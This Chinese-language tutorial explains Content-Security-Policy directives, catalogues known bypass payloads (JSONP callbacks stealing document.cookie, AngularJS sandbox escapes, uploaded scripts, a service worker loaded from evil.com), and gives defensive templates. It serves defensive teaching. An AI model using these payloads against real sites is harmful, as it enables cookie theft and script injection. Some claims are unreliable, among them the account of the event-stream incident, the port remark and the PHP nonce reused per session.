CSP 防御与绕过:从严格策略到已知 Bypass 技巧
一、CSP 是什么
Content-Security-Policy(内容安全策略)是浏览器提供的一层额外的安全防护。它让服务器通过 HTTP 响应头告诉浏览器:
"只允许加载这些来源的资源,禁止内联脚本、禁止 eval、禁止某些危险行为。"
二、CSP 指令详解
2.1 核心指令速查表
| 指令 | 作用 | 常用值 |
|---|---|---|
default-src |
默认回退指令 | 'self' |
script-src |
脚本加载源 | 'self'、'nonce-xxx'、'sha256-xxx' |
style-src |
样式源 | 'self'、'unsafe-inline' |
img-src |
图片源 | 'self'、data:、https://cdn.example.com |
connect-src |
fetch/XHR/WebSocket | 'self' |
frame-src |
iframe 源 | 'none'、'self' |
object-src |
plugin 对象(Flash 等) | 'none' |
base-uri |
允许的 <base> 标签 |
'self' |
form-action |
表单提交目标 | 'self' |
frame-ancestors |
允许谁把本站嵌入 iframe | 'none'、'self' |
report-uri |
CSP 违规上报地址 | https://victim.com/csp-report |
report-to |
新版上报方式 | 具体 endpoint 组 |
upgrade-insecure-requests |
自动升级 HTTP 为 HTTPS | — |
block-all-mixed-content |
阻止混合内容 | — |
2.2 示例:一个严格的 CSP
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; report-uri https://victim.com/csp-report;
这条策略意味着:
- ✅ 脚本只能从本站、指定 CDN 加载,或者带 nonce 的内联脚本
- ❌ 禁止任何其他外部脚本
- ❌ 禁止
eval()、new Function()(没加'unsafe-eval') - ❌ 禁止
<script>alert(1)</script>这样的内联脚本(没加'unsafe-inline') - ✅ 图片允许 data: URI 和 https
- ✅ 上报违规到服务器
2.3 CSP 三种执行模式
| 模式 | 响应头 | 行为 |
|---|---|---|
| 强制执行 | Content-Security-Policy |
浏览器直接拦截违规资源加载 |
| 仅报告 | Content-Security-Policy-Report-Only |
不拦截,但上报违规(测试用) |
| 元标签 | <meta http-equiv="Content-Security-Policy"> |
只能用于部分指令(不能用 report-uri 、frame-ancestors) |
2.4 三种白名单技术的区别
① whitelist 域名
script-src https://cdn.example.com https://unpkg.com;
- ✅ 最简单
- ❌ 如果 CDN 被劫持 → CSP 失效
- ❌ 精确到路径更安全:
https://cdn.example.com/lib/
② nonce(每次请求生成随机值)
script-src 'nonce-abc123xyz';
<!-- 服务器生成的 nonce,每次页面加载随机 -->
<script nonce="abc123xyz">
// 这段内联脚本被允许
console.log('hello');
</script>
<!-- 不带 nonce 的内联脚本被禁止 -->
<script>alert(1)</script> <!-- ❌ 被拦截 -->
- ✅ 随机值,攻击者无法预测
- ✅ 可以允许少量可信的内联脚本
- ❌ 依赖后端正确实现(nonce 泄漏 = 白送)
③ hash(脚本内容哈希)
script-src 'sha256-abcdef1234567890...';
<script>
// 这段脚本的 SHA-256 是 abcdef1234567890...
console.log('hello from trusted inline');
</script>
- ✅ 最精确,内容改了就不匹配
- ❌ 每次脚本变动都要重新算 hash
- ❌ 不适合动态脚本
2.5 CSP 中的危险宽松项
以下值会削弱 CSP 保护:
| 值 | 后果 |
|---|---|
'unsafe-inline' in script-src |
所有内联脚本都允许 = CSP 白设 |
'unsafe-eval' |
允许 eval()、new Function() |
* |
所有域名都允许加载脚本 |
过于宽泛的通配符 https://*.com |
攻击者注册 evil.com 就能绕过 |
三、CSP Bypass 攻击手段大全
3.1 最常见:JSONP 回调注入
许多站点的 CSP 白名单里包含了自己的域名(script-src 'self')。而很多 API 端点支持 JSONP,这就造成了绕过:
场景
Content-Security-Policy: script-src 'self'; connect-src 'self';
前提
目标站点有一个 JSONP 端点:
GET /api/profile?callback=funcName
服务器返回:funcName({"id":123,"name":"admin"})
绕过 Payload
<script src="https://victim.com/api/profile?callback=alert(document.cookie)//"></script>
浏览器加载了同源脚本,CSP 认为 OK。但返回内容变成:
``javascript
alert(document.cookie)//({"id":123,"name":"admin"})
// ↑ 攻击者的代码先执行,后面的 JSON 被 // 注释掉
#### 防御
- JSONP 响应必须包含 `Content-Type: application/json`(有些 CDN 会自动补)
- 或改用 CORS + fetch(CORS 会限制跨域读取)
- 严格控制 callback 参数:只允许 `[a-zA-Z0-9_$.]`
### 3.2 Google Tag Manager / Google Analytics 白名单
很多站点为了加载 GTM/GA,会把 `https://www.googletagmanager.com` 或 `https://www.google-analytics.com` 加入 script-src 白名单。
**绕过方式**:通过 GTM 自定义 HTML 标签注入任意 JS——但这需要 GTM 管理权限,属于内部威胁。更常见的是**利用这些 CDN 域名下仍能访问的第三方服务**。
### 3.3 Angular Sandbox Escape(已知 CVE)
AngularJS 1.x 的模板表达式:
``
// 早期版本:
{{constructor.constructor('return alert(1)')()}}
// CVE-2015-6762 Angular < 1.5.1
{{(a=onerror) && a('alert(1)')}}
// 如果 CSP 允许 Angular 模板编译(很少见),依然可以被绕过
3.4 HTML Injection + JavaScript URL(需要 object-src 宽松)
如果 CSP 有 object-src 'self' 或默认宽松:
<!-- 利用插件对象(Flash/ActiveX)加载 JavaScript -->
<embed src="javascript:alert(document.cookie)">
<object data="javascript:alert(document.cookie)">
<applet code="java.lang.Runtime" archive="..."></applet>
<!-- 现代浏览器大多已禁用,但 IE 老版本中招 -->
3.5 base-uri 未设 + DOM Clobbering + 动态脚本注入
如果 CSP 没设置 base-uri:
<!-- DOM Clobbering(老技术但依然有效) -->
<a id="img" href="javascript:alert(1)">
<!-- 配合页面中存在的 var img = document.getElementById('img') 变成 DOM 元素引用 -->
<!-- 这个只在老框架中成立,但思路依然值得了解 -->
3.6 Wordpress / CMS 的 wp-content/uploads 脚本上传
很多 CMS 站点 CSP 白名单 'self',而攻击者可以通过上传功能把一个 .js 文件上传到 uploads 目录,然后引用它:
<script src="https://victim.com/wp-content/uploads/2026/08/xss.js"></script>
这意味着文件上传 = CSP 绕过。
防御
上传目录禁止执行脚本(Nginx/Apache 配置):
# nginx
location /uploads/ {
types { } default_type "text/plain";
# 或者禁止所有脚本扩展名
}
3.7 Data URI + script-src 漏洞浏览器
极老浏览器对 data:text/javascript 的判断不一致:
<!-- 某些浏览器(老 Safari 等)会把 data: URI 脚本当作 "同源" -->
<script src="data:text/javascript;base64,YWxlcnQoMSk="></script>
<!-- YWxlcnQoMSk= = alert(1) -->
现代浏览器(Chrome 40+, Firefox 45+)已禁止 data: URI 作为 script-src。
3.8 CSP nonce / hash 在某些特殊场景的泄漏
场景 1:nonce 放在 URL 参数里(bad practice)
<script nonce="<?php echo $_GET['n']; ?>">
<!-- 攻击者可以构造 URL: victim.com/page?n=abc123 -->
<!-- 页面渲染后带 nonce="abc123",而 abc123 可能是前一个用户泄露的 -->
</script>
场景 2:hash 白名单 + 框架注入
某些框架会在编译时把固定 hash 写进 CSP 头,攻击者可以找到这些 hash 并让 XSS payload 匹配。
3.9 strict-dynamic + 可信 loader
如果 CSP 包含 strict-dynamic:
script-src 'strict-dynamic' https://trusted-cdn.com/loader.js;
这意味着被加载的脚本可以再加载其他脚本。如果攻击者能在 trusted-cdn.com 植入任何 JS(CDN 被攻击、NPM 包投毒等),就相当于获得了完整的脚本加载权限。
真实案例
2018 年 GitHub npm 包 event-stream 投毒事件:攻击者通过"抢维护"注入恶意代码,安装该包的应用在构建时被植入挖矿程序。而如果应用的 CSP 只信任 npm CDN(unpkg),就会被绕过。
3.10 worker-src / child-src 未设导致 Web Worker / Service Worker 注入
如果 CSP 没有设置 worker-src 或 child-src:
// Service Worker 有比普通 JS 更多的权限
navigator.serviceWorker.register('https://evil.com/sw.js');
// 如果 worker-src 默认为 *(某些浏览器),就绕过了 script-src 的限制
3.11 端口差异
浏览器判定"同源"是 scheme + host + port 三元组。如果 CSP 白名单只写了域名没写端口,有些浏览器会把 80/443 和 8080 都当作同源:
script-src 'self'; // 仅 443 端口
如果攻击者能让目标服务器在 8080 端口提供恶意 JS,就能绕过。
3.12 CSP 绕过的完整 Payload 合集(假设 script-src 'self')
| # | Payload | 前提 |
|---|---|---|
| 1 | <script src="/api/jsonp?cb=alert(1)//"></script> |
有 JSONP 端点 |
| 2 | <script src="/uploads/evil.js"></script> |
上传目录可执行 JS |
| 3 | <link rel="import" href="/templates/xss.html"> |
Web Components + 同源模板包含脚本 |
| 4 | <script src="/path/to/youtube-iframe-api.js?callback=alert(1)"></script> |
如果白名单包含 youtube 的回调 |
| 5 | <script crossorigin src="https://cdn.jsdelivr.net/gh/.../evil.js"></script> |
如果 jsdelivr 在白名单且有 GitHub 账户 |
四、检测与分析 CSP 配置
4.1 查看目标 CSP
# curl 看响应头
curl -I https://victim.com | grep -i content-security
# Chrome DevTools
# → 打开目标页 → Console → 输入:
document.querySelector('meta[http-equiv="Content-Security-Policy"]')?.content
# 或者 Network 面板里看 Response Headers
4.2 在线分析工具
| 工具 | 用途 |
|---|---|
| csp-evaluator.withgoogle.com | Google 出品,评估你的 CSP 并指出常见弱点 |
| Mozilla Observatory | https://observatory.mozilla.org |
| Report URI | https://report-uri.com 监听 CSP 违规上报 |
4.3 Chrome 内置 CSP 违规查看
Chrome 开发者工具 → Application 标签 → Security → 可以看到所有 CSP 违规。
或者在 Console 中设置断点:
// 在 Chrome 中,当 CSP 拦截东西时会有 Security 事件
// 可以在 DevTools Sources → Event Listener Breakpoints → Security 上勾选
五、编写"完美"的 CSP(防御侧)
5.1 推荐模板
Content-Security-Policy: default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; form-action 'self'; img-src 'self' data: https:; style-src 'self' 'unsafe-inline'; connect-src 'self'; font-src 'self' data: https:; frame-src 'self'; worker-src 'self'; upgrade-insecure-requests; block-all-mixed-content; report-uri /csp-report;
5.2 nonce 后端生成示例
Node.js (Express)
const express = require('express');
const crypto = require('crypto');
const helmet = require('helmet'); // 用 helmet 更方便
const app = express();
// 方式 A:用 helmet 自动生成
app.use(helmet.contentSecurityPolicy({
useDefaults: true,
directives: {
defaultSrc: ["'none'"],
scriptSrc: (req, res) => ["'nonce-" + res.locals.nonce + "'", "'strict-dynamic'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
frameAncestors: ["'none'"],
formAction: ["'self'"],
reportUri: '/csp-report'
},
reportOnly: false
}));
// 方式 B:手动
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64');
res.setHeader(
'Content-Security-Policy',
`script-src 'nonce-${res.locals.nonce}' 'strict-dynamic';` +
`default-src 'none'; object-src 'none'; base-uri 'self';` +
`frame-ancestors 'none'; form-action 'self';` +
`report-uri /csp-report;`
);
next();
});
app.get('/', (req, res) => {
res.send(`
<!DOCTYPE html>
<html>
<head>
<script nonce="${res.locals.nonce}">
console.log('这段合法内联脚本有 nonce');
</script>
</head>
<body>
<script>alert(1)</script> <!-- 没有 nonce → 被拦截 -->
</body>
</html>
`);
});
PHP
<?php
session_start();
// 每个请求生成随机 nonce
if (empty($_SESSION['csp_nonce'])) {
$_SESSION['csp_nonce'] = base64_encode(random_bytes(16));
}
$nonce = $_SESSION['csp_nonce'];
header("Content-Security-Policy: " .
"script-src 'nonce-$nonce' 'strict-dynamic'; " .
"default-src 'none'; " .
"object-src 'none'; " .
"base-uri 'self'; " .
"frame-ancestors 'none'; " .
"form-action 'self'; " .
"report-uri /csp-report"
);
?>
<!DOCTYPE html>
<html>
<head>
<title>Secure Page</title>
<script nonce="<?= $nonce ?>">
// 允许的内联脚本
console.log('hello from secure script');
</script>
</head>
<body>
<script>alert(1)</script> <!-- 无 nonce → 被拦截 -->
<img src="data:text/html,<script>alert(1)</script>"> <!-- 被 base-uri + script-src 共同拦截 -->
</body>
</html>
5.3 CSP 违规上报接收
<?php
// csp-report.php —— 接收浏览器上报的 CSP 违规
$logFile = '/var/log/csp-violations.log';
$rawBody = file_get_contents('php://input');
$violation = json_decode($rawBody, true);
if ($violation) {
$line = date('[Y-m-d H:i:s]') . ' ' . json_encode($violation) . "
";
file_put_contents($logFile, $line, FILE_APPEND);
http_response_code(204); // 204 No Content
}
5.4 上线策略:先 Report-Only 再强制执行
# 步骤 1:用 Report-Only 模式跑一周,收集所有误报
Content-Security-Policy-Report-Only: ...your policy...
# 步骤 2:根据上报调整白名单(加必要的域名、调整 default-src)
# 步骤 3:切换到正式强制执行
Content-Security-Policy: ...your policy...
这样可以避免"一上线就把自己的线上功能搞挂"的尴尬。